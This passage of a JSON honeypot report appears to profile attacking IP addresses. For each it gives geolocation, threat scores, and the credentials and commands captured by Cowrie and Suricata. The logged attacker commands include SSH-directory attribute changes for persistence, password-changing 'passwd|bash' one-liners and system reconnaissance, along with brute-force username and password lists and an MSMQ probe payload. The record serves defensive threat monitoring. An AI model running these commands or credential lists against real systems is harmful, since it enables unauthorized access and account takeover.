        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 46887,
      "as_org": "Crown Castle Fiber LLC",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:59:53.434000+00:00",
        "last_seen_30d": "2026-05-17T16:29:01.854000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "88.99.193.143": {
      "attack_count": 156,
      "first_seen": "2026-05-08T02:30:30.514Z",
      "last_seen": "2026-05-31T23:20:03.910Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:30:30.514000+00:00",
        "last_seen_30d": "2026-05-31T23:21:11.125000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "109.94.172.101": {
      "attack_count": 144,
      "first_seen": "2026-05-22T14:27:28.818Z",
      "last_seen": "2026-05-22T15:20:02.367Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "daniel",
        "345gs5662d34",
        "administrator",
        "dspace",
        "elk",
        "jenkins",
        "lilei",
        "pgadmin"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "123123!@#",
        "12321",
        "123456",
        "2357",
        "3245gs5662d34",
        "336699",
        "345gs5662d34",
        "Pa$$w0rd",
        "Tt123456",
        "asdfasdf123",
        "asdzxc",
        "elk",
        "pass",
        "pgadmin123",
        "yy123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\nqXfX1GVULrig\\nqXfX1GVULrig\\n\"|passwd",
        "echo -e \"1\\nqXfX1GVULrig\\nqXfX1GVULrig\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 202660,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:27:28.818000+00:00",
        "last_seen_30d": "2026-05-22T15:21:03.747000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "152.32.252.65": {
      "attack_count": 144,
      "first_seen": "2026-05-24T04:04:11.434Z",
      "last_seen": "2026-05-24T04:56:01.807Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "aroot",
        "canvas",
        "dev",
        "mmm",
        "splunk",
        "sysadmin",
        "user"
      ],
      "passwords_attempted": [
        "111",
        "3245gs5662d34",
        "345gs5662d34",
        "@admin1234",
        "Fw123456@",
        "Pass@2026",
        "PassW0rd",
        "admin@123.com",
        "aroot",
        "canvas",
        "dev@123",
        "mmm",
        "pass",
        "password@123",
        "qwe123@",
        "splunk",
        "zxcvbn"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password@123\\naEcovbtqRjFY\\naEcovbtqRjFY\\n\"|passwd",
        "echo -e \"password@123\\naEcovbtqRjFY\\naEcovbtqRjFY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:04:11.434000+00:00",
        "last_seen_30d": "2026-05-24T04:57:03.039000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "123.165.81.83": {
      "attack_count": 142,
      "first_seen": "2026-05-18T22:18:21.862Z",
      "last_seen": "2026-05-19T06:13:28.233Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:18:21.862000+00:00",
        "last_seen_30d": "2026-05-19T06:19:57.845000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 73
      }
    },
    "116.123.150.231": {
      "attack_count": 139,
      "first_seen": "2026-05-26T19:53:07.180Z",
      "last_seen": "2026-05-26T20:27:15.194Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lijie",
        "systemd",
        "ubuntu",
        "aman",
        "king",
        "p",
        "sam",
        "shubham",
        "teamtalk",
        "tuan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "000000000",
        "123456",
        "123456+",
        "1qaz2wsx!QAZ@WSX",
        "Voidsetdownload.so",
        "alex",
        "aman",
        "fjbdfdjkdsfs541544AA@@",
        "hanseatic",
        "lijie",
        "p",
        "qwerty123!@#",
        "root.2026",
        "sam123",
        "shubham",
        "teamtalk",
        "tuan123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:53:07.180000+00:00",
        "last_seen_30d": "2026-05-26T20:28:23.754000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 139,
        "Suricata": 51
      }
    },
    "152.32.250.188": {
      "attack_count": 115,
      "first_seen": "2026-05-31T16:07:54.550Z",
      "last_seen": "2026-05-31T16:37:48.358Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "readonly",
        "345gs5662d34",
        "etienne",
        "ftpuser",
        "unifi",
        "user"
      ],
      "passwords_attempted": [
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Qaz123123",
        "Qwerty#2026",
        "Qwertyu1",
        "changeme",
        "etienne",
        "readonly",
        "unifi"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"readonly\\nYiphbmLPWPMb\\nYiphbmLPWPMb\\n\"|passwd",
        "echo -e \"readonly\\nYiphbmLPWPMb\\nYiphbmLPWPMb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:07:54.550000+00:00",
        "last_seen_30d": "2026-05-31T16:42:25.024000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 30
      }
    },
    "192.81.131.52": {
      "attack_count": 115,
      "first_seen": "2026-05-08T23:33:23.375Z",
      "last_seen": "2026-05-08T23:34:25.740Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "",
        "\u0000 \u0000 \u0000 \u0000<\u0000a\u0000c\u0000t\u0000i\u0000o\u0000n\u0000>\u0000M\u0000S\u0000M\u0000Q\u0000:\u0000p\u0000o\u0000c\u0000<\u0000/\u0000a\u0000c\u0000t\u0000i\u0000o\u0000n\u0000>\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000i\u0000d\u0000>\u0000u\u0000u\u0000i\u0000d\u0000:\u00001\u0000@\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u0000<\u0000/\u0000i\u0000d\u0000>\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000s\u0000e\u0000n\u0000t\u0000A\u0000t\u0000>\u00002\u00000\u00002\u00003\u00000\u00007\u00002\u00004\u0000T\u00001\u00006\u00004\u00004\u00001\u00009\u0000<\u0000/\u0000s\u0000e\u0000n\u0000t\u0000A\u0000t\u0000>\u0000\r",
        "\u0000 \u0000<\u0000p\u0000r\u0000o\u0000p\u0000e\u0000r\u0000t\u0000i\u0000e\u0000s\u0000 \u0000s\u0000e\u0000:\u0000m\u0000u\u0000s\u0000t\u0000U\u0000n\u0000d\u0000e\u0000r\u0000s\u0000t\u0000a\u0000n\u0000d\u0000=\u0000\"\u00001\u0000\"\u0000>\u0000\r",
        "\u0000<\u0000/\u0000s\u0000e\u0000:\u0000E\u0000n\u0000v\u0000e\u0000l\u0000o\u0000p\u0000e\u0000>\u0000\r",
        "\u0000<\u0000/\u0000s\u0000e\u0000:\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000>\u0000\r",
        "\u0000<\u0000s\u0000e\u0000:\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000>\u0000\r",
        "   <expiresAt>20600609T164419</expiresAt>",
        "   <to>http://192.168.10.100/msmq/private$/queuejumper</to>",
        " </path>",
        " </properties>",
        " <path xmlns=\"http://schemas.xmlsoap.org/rp/\" se:mustUnderstand=\"1\">",
        "<se:Body></se:Body>",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "Content-Id: body@ff3af301-3196-497a-a918-72147c871a13",
        "Content-Type: application/octet-stream",
        "Content-Type: multipart/related; boundary=\"MSMQ - SOAP boundary, 53287\"; type=text/xml",
        "Content-Type: text/xml; charset=UTF-8"
      ],
      "passwords_attempted": [
        "",
        "--MSMQ - SOAP boundary, 53287",
        "\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000e\u0000x\u0000p\u0000i\u0000r\u0000e\u0000s\u0000A\u0000t\u0000>\u00002\u00000\u00006\u00000\u00000\u00006\u00000\u00009\u0000T\u00001\u00006\u00004\u00004\u00001\u00009\u0000<\u0000/\u0000e\u0000x\u0000p\u0000i\u0000r\u0000e\u0000s\u0000A\u0000t\u0000>\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000t\u0000o\u0000>\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00009\u00002\u0000.\u00001\u00006\u00008\u0000.\u00001\u00000\u0000.\u00001\u00000\u00000\u0000/\u0000m\u0000s\u0000m\u0000q\u0000/\u0000p\u0000r\u0000i\u0000v\u0000a\u0000t\u0000e\u0000$\u0000/\u0000q\u0000u\u0000e\u0000u\u0000e\u0000j\u0000u\u0000m\u0000p\u0000e\u0000r\u0000<\u0000/\u0000t\u0000o\u0000>\u0000\r",
        "\u0000 \u0000<\u0000/\u0000p\u0000a\u0000t\u0000h\u0000>\u0000\r",
        "\u0000 \u0000<\u0000/\u0000p\u0000r\u0000o\u0000p\u0000e\u0000r\u0000t\u0000i\u0000e\u0000s\u0000>\u0000\r",
        "\u0000 \u0000<\u0000p\u0000a\u0000t\u0000h\u0000 \u0000x\u0000m\u0000l\u0000n\u0000s\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000r\u0000p\u0000/\u0000\"\u0000 \u0000s\u0000e\u0000:\u0000m\u0000u\u0000s\u0000t\u0000U\u0000n\u0000d\u0000e\u0000r\u0000s\u0000t\u0000a\u0000n\u0000d\u0000=\u0000\"\u00001\u0000\"\u0000>\u0000\r",
        "\u0000<\u0000s\u0000e\u0000:\u0000B\u0000o\u0000d\u0000y\u0000>\u0000<\u0000/\u0000s\u0000e\u0000:\u0000B\u0000o\u0000d\u0000y\u0000>\u0000\r",
        "\u0000x\u0000m\u0000l\u0000n\u0000s\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000s\u0000r\u0000m\u0000p\u0000/\u0000\"\u0000>\u0000\r",
        "\u0001\u0000",
        "   <action>MSMQ:poc</action>",
        "   <id>uuid:1@00000000-0000-0000-0000-000000000000</id>",
        "   <sentAt>20230724T164419</sentAt>",
        " <properties se:mustUnderstand=\"1\">",
        "</se:Envelope>",
        "</se:Header>",
        "<se:Envelope xmlns:se=\"http://schemas.xmlsoap.org/soap/envelope/\" ",
        "<se:Header>",
        "Accept: application/sdp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T12:18:43.819000+00:00",
        "last_seen_30d": "2026-05-08T23:44:34.600000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 61,
        "Tanner": 2
      }
    },
    "27.22.118.45": {
      "attack_count": 100,
      "first_seen": "2026-05-23T07:55:27.206Z",
      "last_seen": "2026-05-23T14:03:39.942Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:55:27.206000+00:00",
        "last_seen_30d": "2026-05-23T14:05:05.784000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 54
      }
    },
    "110.78.132.227": {
      "attack_count": 98,
      "first_seen": "2026-05-22T21:09:38.364Z",
      "last_seen": "2026-05-23T07:39:10.214Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 131090,
      "as_org": "National Telecom Public Company Limited",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:09:38.364000+00:00",
        "last_seen_30d": "2026-05-23T07:40:18.213000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 49
      }
    },
    "188.44.20.33": {
      "attack_count": 84,
      "first_seen": "2026-05-03T18:23:02.166Z",
      "last_seen": "2026-05-31T04:58:04.393Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Struga",
      "asn": 57374,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 56.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:23:02.166000+00:00",
        "last_seen_30d": "2026-05-31T04:59:10.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "34.91.0.68": {
      "attack_count": 84,
      "first_seen": "2026-05-22T17:34:31.755Z",
      "last_seen": "2026-05-22T17:43:34.237Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "345gs5662d34",
        "dev",
        "marketing"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "marketing"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\n8dbdwdD50F3r\\n8dbdwdD50F3r\\n\"|passwd",
        "echo -e \"1234\\n8dbdwdD50F3r\\n8dbdwdD50F3r\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Groningen",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:34:31.755000+00:00",
        "last_seen_30d": "2026-05-22T17:44:38.083000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 12
      }
    },
    "51.255.204.163": {
      "attack_count": 78,
      "first_seen": "2026-05-13T09:49:09.422Z",
      "last_seen": "2026-05-31T15:16:07.302Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:49:09.422000+00:00",
        "last_seen_30d": "2026-05-31T15:17:15.159000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 40
      }
    },
    "34.156.42.246": {
      "attack_count": 73,
      "first_seen": "2026-05-16T07:55:35.293Z",
      "last_seen": "2026-05-16T07:56:33.158Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5011",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:55:35.293000+00:00",
        "last_seen_30d": "2026-05-16T07:57:42.626000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "106.13.14.186": {
      "attack_count": 59,
      "first_seen": "2026-05-12T03:21:58.848Z",
      "last_seen": "2026-05-12T04:30:21.982Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "esuser",
        "ftptest",
        "test2",
        "tests"
      ],
      "passwords_attempted": [
        "1234",
        "44444444",
        "Qwer1234@",
        "no",
        "test",
        "testing"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:21:58.848000+00:00",
        "last_seen_30d": "2026-05-12T04:40:31.989000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 59,
        "Suricata": 41
      }
    },
    "154.92.15.23": {
      "attack_count": 59,
      "first_seen": "2026-05-02T13:26:35.600Z",
      "last_seen": "2026-05-12T01:48:53.576Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:26:35.600000+00:00",
        "last_seen_30d": "2026-05-12T01:58:54.778000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
